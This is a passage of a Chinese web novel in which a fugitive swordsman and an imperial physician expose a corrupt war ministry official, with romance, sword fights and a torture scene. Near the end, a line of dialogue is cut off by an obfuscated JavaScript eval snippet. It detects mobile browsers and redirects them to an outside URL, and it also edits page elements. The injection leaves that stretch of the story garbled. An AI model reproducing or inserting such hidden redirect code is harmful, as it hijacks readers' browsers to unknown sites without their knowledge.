清冷的声线像浸了雪的刀刃。沈醉努力聚焦视线,对上一双凤眼——那眼睛生得极好看,眼尾微微上挑,此刻却凝着层寒霜。 他忍不住笑了:"早知太医大人这般热情,我该日日受伤才是。" 银光一闪,一根三寸长的银针毫不留情扎进他穴位。沈醉疼得倒抽冷气,却见那太医面无表情地又捻起一根。 "沈醉,二十三岁,江湖榜第七的剑客。"裴玉棠指尖轻敲案上染血的缉捕令,"朝廷悬赏五百两。" 沈醉瞳孔骤缩。他右手悄悄摸向枕下——空的。 "找这个?" 裴玉棠从药箱取出那柄断剑,在他惊愕的目光中突然劈下。剑风擦着耳畔掠过,斩断床柱上盘踞的花蛇。蛇头飞落药炉,溅起一片嗤响。 "蛇骨毒的解药,"裴玉棠甩了甩剑上血珠,"需用下毒之人的血做引。"他将断剑扔回给他,"能握剑吗?" 沈醉怔怔接住兵器,忽然发现这太医握剑的姿势极为标准——那是西北军特有的起手式。 晨光透过窗棂时,沈醉已经能靠着软枕坐起来。 他饶有兴趣地打量着这间厢房:靠墙的紫檀药柜上整齐排列着青瓷药罐,案头摊开的医书旁搁着盏冷透的茶,地上铜盆里泡着染血的布条。最引人注目的是墙上挂着的那幅《海棠春睡图》,题着"宁可枝头抱香死"的诗句。 "看够了吗?" 裴玉棠端着药碗进来,眼下青影比昨夜更重。沈醉注意到他换下了官服,此刻穿着件素青常服,衬得肤色如玉。 "裴大人救命之恩——" "喝完药,自己去找禁军自首。"裴玉棠将药碗重重搁在床头小几上,褐色的药汁溅出几滴。 沈醉也不恼,端起药碗一饮而尽。他故意舔了舔嘴角,果然看见太医的耳尖又红了。 "其实我是被冤枉的。"沈醉突然正色道,"那晚我在醉仙楼喝酒,根本没见过什么户部侍郎。" 裴玉棠冷笑:"缉捕令上写你劫了军饷。" "那更可笑。"沈醉扯开衣领,露出那道狰狞的疤痕,"三年前我护送军饷去西北,半路遇伏,这伤就是为保军饷留下的。"他指尖轻抚疤痕,"朝廷若真要查,该去问问兵部那位新上任的侍郎大人,为何我呈上的证词石沉大海。" 裴玉棠整理药箱的手指微微一顿。 窗外忽然传来整齐的脚步声,隐约听见有人在喊"仔细搜每个角落"。沈醉脸色骤变,下意识去摸剑,却牵动伤口闷哼一声。 "躺下。"裴玉棠突然掀开锦被,"不想死就别出声。" 禁军统领赵闯进来时,裴玉棠正在给"病人"把脉。 "裴太医,打扰了。"赵闯抱了抱拳,眼睛却往床帐里瞟,"昨夜有刺客潜入皇城,太医院也在搜查范围。" 裴玉棠不动声色地挪了半步,恰好挡住对方视线:"赵统领请便。只是我这病人染了时疫,恐怕..." 赵闯立刻后退两步,却仍不死心:"这位是?" "家兄。"裴玉棠面不改色,"从陇西来探亲,不慎染病。" 帐中传来虚弱的咳嗽声,一只苍白的手颤巍巍伸出帐外。赵闯瞥见那手腕上布满红疹,吓得又退三步。 "既然如此,下官告退。" 待脚步声远去,沈醉一把掀开被子,脸上用胭脂画出的"病容"已经被汗水晕开。他指着自己哈哈大笑:"裴大人好演技!我何时成了你兄长?" 裴玉棠取出帕子擦手,淡淡道:"你腕上涂的是黄连汁,两个时辰自会消退。"他顿了顿,"三日后能下地就立刻走人。" 沈醉却突然抓住他手腕:"你早知道我是冤枉的。" 裴玉棠垂眸看他,晨光在那双凤眼里流转:"我只知道,西北军从不背叛同袍。" 雨后的风穿堂而过,掀起案头书页。沈醉望着那人转身时扬起的衣角,忽然觉得胸口有什么东西轻轻动了一下。 三日后,夜。 裴玉棠伏案疾书,烛火在案头摇曳,映得他眉目如画。他正在誊抄明日要呈递太医院的脉案,笔尖却忽地一顿——窗外传来极轻的脚步声。 不是沈醉。 那浪荡子这两日伤势好转,便总爱半夜翻窗进来,不是带一壶酒,就是捎一包蜜饯,美其名曰"报答恩情"。裴玉棠起初冷脸赶人,后来索性当他不存在,任他倚在窗边自说自话。 但此刻的脚步声……太轻了,像是刻意压着气息。 裴玉棠搁下笔,指尖悄然摸向案下银针。 "吱呀——" 窗棂微微一动,一道黑影闪过。裴玉棠手腕一翻,三枚银针破空而出! "叮!" 银针被一柄断剑凌空截下,沈醉从梁上翻身落下,剑尖一挑,将针稳稳送回案上。他挑眉一笑:"裴大人好狠的心,若是我反应慢些,岂不是要成刺猬?" 裴玉棠冷眼看他:"你鬼鬼祟祟做什么?" 沈醉却收敛笑意,从怀中掏出一封染血的密信,低声道:"方才有人潜入太医院,在你药柜暗格里塞了这个。" 裴玉棠眸光一凝,接过信笺。 纸上只有一行潦草血字—— "三年前的军饷案,兵部有鬼。" 烛火"啪"地爆了个灯花。 裴玉棠盯着那行血字,指尖微微发凉。 三年前,西北军饷被劫,押送队伍全军覆没,唯独沈醉重伤生还。朝廷认定是他勾结匪寇,下了海捕文书。可若真如这血书所言…… "兵部侍郎陈禹。"沈醉忽然开口,嗓音低沉,"当年负责军饷调度的,正是他。" 裴玉棠抬眸:"你怀疑他?" 沈醉冷笑:"不是怀疑,是确定。"他扯开衣领,露出肋下那道狰狞伤疤,"这伤,是西北军的箭留下的。可当年伏击我们的人,穿的是匪寇的衣裳。" 裴玉棠沉默片刻,忽然起身,从书架暗格取出一本旧册子。 "这是三年前太医院记录的伤患名册。"他翻到某一页,指尖点在一行小字上,"西北军回京那日,兵部曾秘密送了一名重伤者来太医院,第二日,那人就死了。" 沈醉眯起眼:"谁送来的?" "陈禹。" 两人对视一瞬,空气骤然凝滞。 窗外忽地刮过一阵风,烛火猛地一晃,险些熄灭。沈醉反应极快,一把揽住裴玉棠的腰,带着他旋身避到书架后! "嗖!" 一支弩箭破窗而入,深深钉入案桌! 裴玉棠后背紧贴着书架,沈醉的手仍箍在他腰间,体温透过薄衫传来,烫得他耳根发麻。他低声道:"松手。" 沈醉却收紧了手臂,附耳道:"别动,外面还有人。" 他的呼吸拂过耳畔,裴玉棠浑身一僵,竟真的没再动。 窗外,隐约传来极轻的脚步声,似是在确认屋内人的生死。 沈醉眸色一沉,指尖轻轻摩挲裴玉棠的腕骨,低声道:"裴大人,信我吗?" 裴玉棠还未回答,沈醉已骤然松开他,身形如鬼魅般掠向窗口! "锵——" 断剑出鞘,寒光乍现! 窗外黑影闷哼一声,踉跄后退。沈醉纵身跃出,剑锋直逼对方咽喉! 那人见势不妙,猛地掷出一枚烟雾弹,"嘭"地一声,白雾弥漫。待烟雾散尽,刺客早已不见踪影。 沈醉皱眉回身,却见裴玉棠站在窗边,指尖拈着一枚铜牌。 "禁军的腰牌。"他淡淡道,"看来有人坐不住了。" 翌日清晨。 裴玉棠刚踏入太医院,便察觉气氛不对。 院中多了几名陌生侍卫,而他的值房门前,站着一位身着绛紫官袍的中年男子——兵部侍郎陈禹。 "裴太医。"陈禹笑吟吟拱手,"久闻大名,今日特来求诊。" 裴玉棠面色不改,抬手推开门:"陈大人请。" 屋内,沈醉早已隐匿身形。 陈禹入座后,却不急着诊脉,而是环顾四周,似笑非笑道:"听闻昨夜太医院进了刺客,裴太医没受惊吧?" 裴玉棠斟茶的手稳稳当当:"陈大人消息灵通。" 陈禹眯眼:"本官也是关心同僚。"他忽然压低声音,"不过,有些事,知道得越少,活得越久。" 裴玉棠抬眸,与他四目相对。 "陈大人这是……威胁我?" 陈禹哈哈大笑:"岂敢岂敢!"他站起身,意味深长道,"只是提醒裴太医,莫要被某些''亡命之徒''连累了前程。" 待陈禹离去,沈醉从梁上跃下,眸中寒意凛冽:"他在试探你。" 裴玉棠垂眸,指尖轻敲茶盏:"他心虚了。" 当夜,太医值房。 裴玉棠提笔写奏章,准备将血书一事密报皇帝。 可笔尖刚落纸,手腕却忽然被握住。 沈醉不知何时站在了他身后,掌心覆在他手背上,低笑道:"裴大人这字,怎么抖得比受伤的我还厉害?" 裴玉棠耳尖一热,冷声道:"松手。" 沈醉却不放,反而就着他的手,在纸上添了一行字—— "三日后,醉仙楼,真相自现。" 裴玉棠蹙眉:"你这是何意?" 沈醉勾唇:"引蛇出洞。" 窗外,禁军的火把忽明忽暗,照亮了两人交叠的衣袖。 而更远处的暗巷里,一双阴鸷的眼睛,正死死盯着太医值房的窗影…… 三日后,醉仙楼。 华灯初上,笙歌缭绕。 二楼雅间内,裴玉棠一袭月白锦袍,端坐案前,指尖无意识地摩挲着茶盏边缘。他平日极少来这等喧闹之地,此刻只觉得四周脂粉香气熏得人头晕。 “裴大人,放松些。”沈醉斜倚窗边,一袭绛红长袍松松垮垮地披着,领口微敞,露出锁骨上一道浅浅的疤痕。他执壶斟酒,琥珀色的酒液在杯中晃荡,映着烛火,像融化的金子。 “你确定陈禹会来?”裴玉棠压低声音。 沈醉勾唇一笑,忽然倾身凑近,温热的呼吸拂过他耳畔:“不止会来,还会带着‘证据’来。” 裴玉棠呼吸微滞,下意识后仰,却被沈醉一把扣住手腕。 “别动。”沈醉嗓音低哑,目光却越过他肩头,看向雅间外,“他来了。” ——脚步声由远及近,伴随着陈禹爽朗的笑声:“沈公子今日做东,本官怎能不来?” 陈禹踏入雅间时,目光在裴玉棠身上停留了一瞬,随即笑道:“没想到裴太医也在。” 裴玉棠冷淡颔首:“陈大人。” 沈醉已换上一副浪荡公子的模样,懒洋洋地举杯:“陈大人肯赏脸,沈某荣幸之至。” 酒过三巡,陈禹似是无意般问道:“沈公子年纪轻轻,怎会与裴太医这般熟络?” 沈醉轻笑,忽然伸手揽住裴玉棠的肩,指尖在他颈侧暧昧地摩挲:“裴大人医术高明,我这条命,可全靠他捡回来的。” 裴玉棠浑身一僵,耳尖瞬间烧红,却碍于做戏,只能强忍着一把银针扎死沈醉的冲动。 陈禹眯了眯眼,忽然从袖中取出一卷竹简,推到沈醉面前:“沈公子既对旧事感兴趣,不妨看看这个。” 沈醉眸光一沉,展开竹简——赫然是三年前军饷案的密档,其中一页被人刻意撕去。 “这……” “有些事,知道得太多,未必是好事。”陈禹意味深长地看向裴玉棠,“尤其是……牵扯到不该牵扯的人。” 雅间内的空气骤然凝滞。 裴玉棠忽地轻笑一声,指尖轻轻敲击桌面:“陈大人这是在威胁本官?” 陈禹摇头:“只是提醒。”他站起身,居高临下地看着二人,“三日后,西北军旧部会有人进京,若沈公子真想翻案,不妨亲自去问问——就怕他没这个命等。” 说完,他拂袖而去。 待脚步声彻底消失,裴玉棠一把拍开沈醉的手,冷声道:“戏演完了?” 沈醉却收敛笑意,盯着竹简上残缺的痕迹,眸色幽深:“这撕掉的一页,是关键。” 裴玉棠蹙眉:“陈禹故意引你去见西北军旧部,必是陷阱。” “我知道。”沈醉抬眸看他,忽然勾唇一笑,“所以,裴大人可愿陪我走一趟?” 裴玉棠:“……” 夜半,太医院。 裴玉棠翻遍医案,终于在一本旧册中寻到线索。 “三年前,西北军回京那日,太医院曾收治一名重伤士兵,第二日便暴毙而亡。”他指尖点着记录,“死因是‘箭伤溃烂’,但验尸的太医……是陈禹的远亲。” 沈醉冷笑:“果然有鬼。” 裴玉棠沉吟片刻,忽然从药柜暗格取出一只瓷瓶:“明日若遇险,将此药粉撒向敌人,可暂阻行动。” 沈醉接过瓷瓶,指尖故意擦过他掌心,低笑道:“裴大人这是……担心我?” 裴玉棠面无表情:“只是不想白救你一场。” 沈醉忽地逼近一步,将他困在药柜与自己之间,嗓音低哑:“若我明日回不来,裴大人可会想我?” 裴玉棠呼吸微乱,抬手欲推,却被沈醉一把扣住手腕。 四目相对,烛火在两人之间摇曳,映得沈醉眸中似有星火燎原。 “沈醉,你……” 话音未落,窗外骤然传来一声轻响! 沈醉反应极快,一把搂住裴玉棠的腰,旋身躲到阴影处。 一支弩箭破窗而入,深深钉入药柜! 翌日,城郊密林。 裴玉棠一身素衣,跟在沈醉身后,眉头紧锁:“你确定是这里?” 沈醉点头:“西北军旧部若进京,必走此路。” 话音未落,林中忽地传来一声鸟鸣——三长两短,似是暗号。 沈醉眸光一凛,猛地将裴玉棠拉到树后:“有人!” 十余名黑衣人自林中涌出,刀光凛冽,直逼二人! 沈醉断剑出鞘,寒光乍现,瞬间划破两人咽喉! “裴玉棠,药粉!” 裴玉棠扬手撒出药粉,白雾弥漫间,黑衣人纷纷踉跄后退。 混乱中,一支冷箭直射裴玉棠心口! “小心!” 沈醉纵身扑来,箭矢擦着他手臂划过,带起一道血痕。他闷哼一声,反手一剑掷出,将暗处的弓箭手钉死在树上! 裴玉棠一把抓住他手腕:“你受伤了!” 沈醉却勾唇一笑,染血的手指抚过他脸颊:“裴大人……这下真得靠你救我了。” 话音未落,他整个人栽进裴玉棠怀中。 太医院,夜。 烛火摇曳,映照着裴玉棠凝重的面容。 沈醉躺在榻上,面色苍白如纸,额间冷汗涔涔。箭伤虽不深,可伤口处却泛着诡异的青紫色,血珠渗出竟隐隐发黑。 “不是寻常的毒。”裴玉棠指尖搭在沈醉腕间,眉头越皱越紧,“脉象沉涩,毒已入血,再拖下去会攻心。” 沈醉半阖着眼,闻言低笑一声:“那裴大人……可要好好救我。”声音虚弱,却仍带着几分调笑的意味。 裴玉棠冷冷瞥他一眼,手下银针却稳稳刺入他腕间穴位:“再废话,毒发身亡了正好清净。” 沈醉闷哼一声,却仍勾着唇角:“我若死了,裴大人舍得?” 裴玉棠不理他,转身从药柜取出一只青瓷瓶,倒出三粒赤红药丸,捏住沈醉下颌迫他咽下。 “咽下去,别吐。” 药丸苦涩至极,沈醉喉结滚动,勉强咽下后,眉头都拧在了一起:“……裴大人这是要毒死我?” “以毒攻毒。”裴玉棠淡淡道,“这毒名为‘蚀心散’,中毒者三日内心脉俱断,无药可解——但若在十二个时辰内服下‘赤焰丹’,可暂时压制毒性。” 沈醉眸光一凝:“暂时?” 裴玉棠垂眸,银针在烛火下泛着冷光:“三日之内,若找不到解药,你照样会死。” 翌日清晨。 裴玉棠推开药房的门,却见沈醉已穿戴整齐,正倚在窗边把玩那支昨夜伤他的箭矢。晨光落在他侧脸,勾勒出凌厉的轮廓,若非唇色仍有些苍白,几乎看不出中毒的迹象。 “谁准你下榻的?”裴玉棠冷声道。 沈醉转眸看他,唇角微扬:“躺久了骨头疼,起来活动活动。”说罢,指尖一弹,那箭矢“嗖”地钉入梁上,入木三分。 裴玉棠蹙眉,上前一把扣住他手腕探脉。沈醉任由他动作,却在他收回手时反手一握,将他指尖拢入掌心。 “裴大人的手,怎么比我还凉?” 裴玉棠抽回手,面无表情:“毒未清尽,再乱动用内力,神仙也救不了你。” 沈醉笑了笑,忽然正色道:“这毒,是冲着我来的。” 裴玉棠抬眸。 “蚀心散并非寻常毒药,江湖上能炼制的人不超过三个。”沈醉眸色幽深,“其中一个,是陈禹的幕僚。” 裴玉棠指尖微微收紧:“你早知道?” 沈醉摇头:“昨夜那箭瞄准的本是你,我挡下后才发觉有毒。”他顿了顿,“他们想杀你灭口。” 裴玉棠沉默片刻,忽然从袖中取出一封密信:“今早有人塞进太医院门缝。” 沈醉展开信纸,上面只有一行字—— “欲解蚀心散,三更独自赴西山乱葬岗。” 夜,西山乱葬岗。 枯树歪斜,鸦声凄厉。 裴玉棠一袭素袍,独自立于荒坟之间。夜风卷起他衣袂,露出腰间暗藏的银针。 “裴太医果然守信。” 沙哑的嗓音自黑暗中传来,一名黑袍人缓步走出,兜帽遮面,只露出一双阴鸷的眼。 裴玉棠冷声道:“解药。” 黑袍人低笑,从怀中取出一只瓷瓶晃了晃:“想要解药,拿军饷案的密档来换。” 裴玉棠眯眼:“什么密档?” “别装傻。”黑袍人逼近一步,“三年前西北军饷被劫,裴家也牵扯其中——你父亲裴远山的遗物里,有一本账册。” 裴玉棠瞳孔骤缩。 父亲…… 三年前,时任兵部侍郎的裴远山因军饷案被牵连,最终以死自证清白。若真有什么账册…… “我不知你在说什么。”裴玉棠稳住心神,“解药交出来,否则你走不出这片乱葬岗。” 黑袍人嗤笑:“就凭你?” 话音未落,裴玉棠袖中银针已疾射而出!黑袍人侧身避开,却见裴玉棠纵身逼近,指尖寒光闪烁,直取他咽喉! “锵!” 一柄短刀格住裴玉棠的攻势,黑袍人顺势抬腿横扫,裴玉棠旋身后撤,却仍被劲风扫到腰间,踉跄半步。 “裴家的医术你学得不错,武功却差远了。”黑袍人讥讽道,“最后问一次——账册在哪?” 裴玉棠抹去唇边血丝,冷笑:“做梦。” 黑袍人眸光一厉,短刀直刺他心口! 千钧一发之际,一道剑光如惊雷劈落! “铛!” 短刀应声而断,黑袍人暴退数步,惊愕抬头—— 沈醉执剑立于裴玉棠身前,衣袂翻飞,眸中杀意凛然。 “谁准你动他的?” 黑袍人见势不妙,猛地掷出一枚烟雾弹! “嘭!” 白雾弥漫,待散尽时,黑袍人早已不见踪影,只余地上那只瓷瓶。 裴玉棠捡起瓷瓶,打开嗅了嗅,面色骤变:“假的!” 沈醉扣住他手腕:“你父亲的事……” 裴玉棠甩开他的手,转身便走:“与你无关。” 沈醉一把将他拽回,力道大得惊人:“裴玉棠!” 四目相对,沈醉眼中翻涌着裴玉棠看不懂的情绪:“你明知是陷阱还独自来送死?” 裴玉棠冷笑:“你不是跟来了吗?” 沈醉一噎,随即气笑了:“若我没跟来呢?” “那便是我命该如此。” 沈醉忽然抬手,拇指重重擦过他唇角血迹,嗓音低哑:“你的命是我的,没有我的允许,谁也不准拿走。” 裴玉棠呼吸一滞。 夜风呜咽,远处传来孤狼的嚎叫。沈醉的手仍贴在他颊边,掌心滚烫,似要将他冰冷的面具灼穿。 良久,裴玉棠别开脸:“……先回去,你的毒不能再拖。” 太医院,密室。 裴玉棠从暗格中取出一只檀木匣,匣中静静躺着一本泛黄的账册。 “父亲临终前交给我的。”他轻抚册面,“我一直以为……这只是他的行医笔记。” 沈醉接过账册,翻了几页,眸光渐沉:“这是军饷调度的暗账。”他指着其中一行,“你看这里——陈禹私自截留了五万两白银,伪装成匪寇劫饷。” 裴玉棠指尖发颤:“所以父亲是被灭口的……” 沈醉合上册子,忽然将他揽入怀中。 裴玉棠僵住,却听沈醉在耳边低声道:“我会帮你。” 简单的三个字,却似一道暖流涌入冰封的心湖。裴玉棠闭了闭眼,终究没有推开。 窗外,一轮孤月高悬。 沈醉的毒,父亲的冤案,陈禹的阴谋……一切纠缠成网,而网的中心,是两颗越靠越近的心。 寅时三刻,太医院外火光冲天。 裴玉棠猛然惊醒,窗外传来整齐的脚步声与铠甲碰撞的铮鸣。他一把推开窗棂,只见数十名禁军手持火把,将太医院团团围住,为首的正是陈禹。 “搜!”陈禹厉喝,“一个角落都不准放过!” 裴玉棠眸光骤冷,转身抓起药箱中的账册塞入袖中,又迅速从暗格取出一只青瓷药瓶。刚推开房门,却见沈醉已立在廊下,断剑在手,眸色沉冷如铁。 “陈禹疯了。”沈醉低声道,“他这是要灭口。” 裴玉棠将药瓶抛给他:“服下,能暂缓毒性。” 沈醉仰头饮尽,药汁苦涩,激得他喉结滚动。他忽然抓住裴玉棠手腕,力道大得惊人:“从后窗走,我去引开他们。” 裴玉棠反手扣住他:“一起。” 两人目光相撞,沈醉忽地勾唇一笑:“裴大人这是……舍不得我?” 话音未落,院门已被撞开! 火把的光亮刺破黑暗,禁军如潮水般涌入。 沈醉一把揽住裴玉棠的腰,纵身跃上屋檐。瓦片碎裂声惊动了下方士兵,箭矢顿时如雨般射来! “小心!” 裴玉棠袖中银针飞射,击落数支羽箭,却仍有一支擦过沈醉肩头,带起一蓬血花。沈醉闷哼一声,手臂却将裴玉棠箍得更紧,几个起落间已翻出高墙。 长街寂静,两人隐入暗巷。沈醉背靠墙壁喘息,肩头鲜血浸透衣衫。裴玉棠撕下袖口布料为他包扎,指尖触及他滚烫的皮肤,心头猛地一颤。 “毒发了。”裴玉棠声音发紧,“必须立刻解毒。” 沈醉却握住他手腕:“先去醉仙楼……找老板娘红姑,她是我的人。” 裴玉棠蹙眉:“现在全城都在搜捕,醉仙楼太显眼。” “最危险的地方才最安全。”沈醉喘息着笑道,“何况……红姑手里有蚀心散的解药。” 裴玉棠瞳孔一缩:“你早有计划?” 沈醉染血的手指抚过他眉间褶皱:“裴大人,信我一次。” 醉仙楼,地窖。 红纱垂幔后,红姑拧眉查看沈醉的伤势。这位平日里风情万种的老板娘此刻面若寒霜,指尖银刀利落地剜去沈醉伤口处的腐肉。 “再晚半日,毒就攻心了。”她将一枚赤红药丸塞入沈醉口中,转头对裴玉棠道,“按住他,接下来会疼。” 裴玉棠刚伸手按住沈醉肩膀,就觉掌心下的肌肉猛然绷紧!沈醉额角青筋暴起,冷汗瞬间浸透衣衫,却死死咬住唇不肯出声。 红姑将一壶烈酒浇在伤口上,青烟腾起,血肉灼烧的气味弥漫开来。沈醉喉间溢出一声低吼,手指攥紧床褥,骨节泛白。 裴玉棠不自觉地收拢五指,仿佛这样就能分担他的痛楚。 “好了。”红姑撒上药粉,包扎妥当,“十二个时辰内别动用内力,否则经脉尽断。” 她意味深长地看了眼裴玉棠,转身离去。 地窖重归寂静,只剩沈醉粗重的喘息。裴玉棠拧湿帕子擦去他额间冷汗,却被一把扣住手腕。 “账册……还在吗?”沈醉嗓音嘶哑。 裴玉棠点头,从怀中取出账册:“陈禹为何突然发难?” “西北军旧部明日抵京。”沈醉撑起身子,“他必须在此之前……毁掉所有证据。” 烛火摇曳,映照着沈醉苍白的唇色。裴玉棠忽然想起什么,从药袋取出一只小瓶:“张嘴。” 沈醉挑眉:“裴大人又要喂我吃什么?” “蜜饯。”裴玉棠面无表情,“解苦。” 沈醉怔住,随即低笑起来。他凑近裴玉棠指尖,舌尖卷走那颗蜜饯时,故意轻舔过他指腹。 “甜。” 裴玉棠耳根发烫,倏地收回手。 翌日拂晓,地窖门被猛地推开! 红姑跌撞而入,肩头插着半支断箭:“禁军查到这儿了!从密道走——” 话音未落,外头已传来撞门声。沈醉一把抓起断剑,却被裴玉棠按住:“你毒未清,不能动手。” “裴玉棠。”沈醉第一次连名带姓唤他,眸中似有烈焰燃烧,“若我今日死在这里,你会记得我吗?” 裴玉棠心尖剧颤,还未来得及回答,头顶木板轰然碎裂! “在这里!”禁军怒吼着跃下。 沈醉剑光如虹,瞬间割破两人咽喉。裴玉棠银针飞射,又有三名士兵闷声倒地。 狭窄的地窖中血雾弥漫,沈醉将裴玉棠护在身后,断剑染血,宛若修罗。 “裴玉棠!”陈禹的声音自上方传来,“交出账册,本官饶你不死!” 裴玉棠冷笑:“陈大人好大的威风。” 陈禹狞笑:“你以为凭你们二人,能敌得过三百禁军?”他一挥手,“放箭!” 箭雨倾泻而下!沈醉旋身将裴玉棠压入墙角,用身体为他筑起人墙。 “沈醉!”裴玉棠眼睁睁看着三支箭矢没入沈醉后背,目眦欲裂。 沈醉咳出一口血,却仍笑着用指腹抹去他颊边血迹:“别怕……” 千钧一发之际,地窖墙壁突然坍塌! 烟尘中,数十名黑衣刀客破壁而入,为首者单膝跪地:“属下来迟,请公子恕罪!” 沈醉喘息着摆手:“……杀出去。” 混战中,裴玉棠扶起沈醉,却被塞入一块冰凉令牌。 “拿着这个……去皇宫神武门。”沈醉气息微弱,“找御前侍卫统领赵寒……他会带你去见皇上……” 裴玉棠攥紧令牌:“那你呢?” 沈醉染血的手抚过他脸颊:“我去拖住陈禹。” “不行!”裴玉棠一把抓住他衣襟,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353483|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会死!” 沈醉低笑,忽然低头吻在他眉心:“裴玉棠,若这次我们都活下来……” 话未说完,他猛地推开裴玉棠,转身杀入敌阵! 裴玉棠被黑衣人强行拖入密道,最后一眼,是沈醉孤身立于血火中的背影。 。卯时三刻,皇宫神武门。 裴玉棠浑身是血,手中令牌在晨光中泛着冷芒。守门侍卫看清令牌上“御赐”二字,脸色骤变,当即跪地:“大人!” “带我去见皇上。”裴玉棠嗓音嘶哑,“立刻!” 侍卫统领赵寒闻讯赶来,见到令牌后瞳孔一缩:“沈公子的令牌怎会在你手中?” 裴玉棠一把揪住他衣领,眼底血丝狰狞:“再耽搁一刻,沈醉必死!” —— 金銮殿外,晨钟轰鸣。 裴玉棠跪在玉阶前,怀中账册已被鲜血浸透。殿内传来陈禹的厉喝:“裴玉棠勾结逆犯沈醉,罪当诛九族!” “罪臣裴玉棠,求见陛下!”他重重叩首,额间鲜血染红汉白玉阶,“愿以命作证——三年前军饷案另有隐情!” 殿门轰然洞开。 龙椅上,皇帝面色阴沉。陈禹立于御前,手中捧着另一本账册:“陛下明鉴,这分明是裴玉棠伪造的伪证!” 裴玉棠冷笑,从怀中取出父亲遗留的玉佩:“先父裴远山临终前,将此玉与账册藏于太医院匾额之后。玉中暗格藏有血书,请陛下过目!” 太监呈上玉佩,皇帝指尖一按机关,薄如蝉翼的绢布飘落—— “臣裴远山泣血上奏:兵部侍郎陈禹私截军饷五万两,嫁祸西北军。臣查证时遭其毒手,恐命不久矣……” 字字血泪,末尾盖着裴远山的私印。 陈禹面如死灰,突然暴起夺过侍卫佩刀:“昏君!当年若不是我——” “嗖!” 一支羽箭穿透陈禹咽喉!赵寒收弓跪地:“逆贼陈禹意图弑君,已伏诛!” 皇帝缓缓起身:“沈醉何在?” 裴玉棠重重叩首:“求陛下派兵救援……他此刻正被困在醉仙楼地窖!” 暗牢深处,血腥味浓得化不开。 沈醉被铁链悬在半空,十指尽数折断。陈禹虽死,其心腹却将他拖入私牢泄愤。烙铁烧红的声响在耳边滋滋作响,他模糊看见对方举着刑具逼近。 “沈公子骨头真硬。”那人狞笑,“不知道这烙铁按在心口,你还能不能笑出来?” 沈醉啐出一口血沫,染血的唇角仍挂着笑:“试试……看啊……” 烙铁呼啸而下! “轰——!” 牢门突然炸裂,裴玉棠持剑闯入,身后禁军如潮水涌入。持烙铁者还未反应,便被一剑穿心! “沈醉!”裴玉棠斩断铁链,接住他坠落的身躯。怀中人轻得可怕,浑身竟找不出一块完好的皮肤。 沈醉涣散的瞳孔费力聚焦,染血的手指颤巍巍抚上裴玉棠脸颊:“……哭什么……” 裴玉棠这才惊觉自己满脸是泪。他撕下衣襟死死按住沈醉胸前最深的伤口,声音抖得不成调:“不准死……你答应过我……” 沈醉轻笑,气音微弱:“裴大人……这是……命令吗……” “是!”裴玉棠将他打横抱起,泪珠砸在沈醉脸上,“你若敢死,我追到黄泉也要扎你三百银针!” 太医院,药气蒸腾。 裴玉棠三日未眠,银针在沈醉周身大穴游走。赵寒带来的御医摇头叹息:“伤及心脉,恐难……” “出去。”裴玉棠头也不抬。 待众人退去,他取出贴身收藏的锦囊——这是师父临终所赠,言明“非至亲至爱不可用”。金针蘸了秘药,刺入沈醉心口时,裴玉棠的手稳如磐石。 “沈醉。”他俯身在那惨白的唇上轻啄一记,“我等你醒来……讨债。” 七日后,晨光漫过窗棂。 裴玉棠伏在榻边浅眠,忽觉指尖微动。他猛然惊醒,正对上沈醉清明的双眼。 那人虚弱地勾起唇角:“裴大人……趁人之危啊……” 裴玉棠眼眶骤红,一把攥住他衣襟:“你——” 沈醉忽然抬手按住他后颈,将人拉近。唇瓣相贴时,药香与血腥气纠缠不清。 “赔给你了……”沈醉抵着他额头轻笑,“三百针……换一个吻……够吗……” 窗外,海棠纷扬如雪。 三日后,御书房。 沈醉单膝跪地,玄色衣袍衬得脸色仍有些苍白。皇帝手持密折,目光沉沉地打量他:“沈卿可知,朕为何单独召见你?” “臣不知。”沈醉垂眸,袖中手指微微收紧。 皇帝忽然将一块龙纹玉佩掷于案上:“这玉佩,你可认得?” 玉佩通体莹白,正面雕着盘龙,背面刻着“承煜”二字——那是先太子嫡子的名讳。 裴玉棠立在殿侧,瞳孔骤缩。 “二十年前,东宫走水,先太子夫妇葬身火海,唯嫡子下落不明。”皇帝缓缓起身,“朕寻了多年,没想到……” 沈醉猛然抬头。 “你眉眼像极先太子。”皇帝叹息,“这块玉佩,是从陈禹密室搜出的。” 殿内死寂。裴玉棠看着沈醉绷紧的脊背,忽然想起他曾说——“我这条命,本就是捡回来的。” 暴雨倾盆,裴玉棠在御书房外已跪了六个时辰。 “裴大人请回吧。”大太监撑着伞劝道,“陛下说了,沈公子……不,小殿下身份特殊,需留在宫中调养。” 裴玉棠脊背挺直,雨水顺着下颌滴落:“臣只求见一面。” “裴玉棠!” 熟悉的声音从廊下传来。沈醉披着锦貂大氅疾步而来,却被侍卫拦住。他一把扯开衣襟露出尚未愈合的伤口:“再拦试试?” 侍卫骇然退开。 沈醉冲到雨中将人拽起,触手却是一片冰凉。裴玉棠唇色青白,膝下积了一滩血水——他竟一直跪在碎瓷上! “你疯了?!”沈醉声音发颤,扯下大氅裹住他。 裴玉棠抓住他手腕,力道大得惊人:“跟我走。” 太医院厢房,热气氤氲。 裴玉棠将沈醉按在榻上,银针蘸了药酒,毫不留情扎进他穴位。沈醉疼得“嘶”了一声:“裴大人这是报复?” “闭嘴。”裴玉棠冷着脸挑开他衣带,“伤口裂了还敢淋雨?” 沈醉忽然握住他执针的手:“我若真是先太子遗孤……你待如何?” 银针悬在半空。裴玉棠长睫低垂,在眼下投出一片阴影:“与我何干?” “若我要留在宫中……” “那就留。”裴玉棠猛地抽回手,“横竖太医院不缺你这味药引。” 沈醉低笑,忽然将人拽到榻上。裴玉棠挣扎间碰翻药箱,银针散落一地。沈醉扣住他后颈,鼻尖相抵:“裴玉棠,你吃醋的样子……真好看。” 五更天,宫门将开。 裴玉棠被传入御书房,却见皇帝正与沈醉对弈。 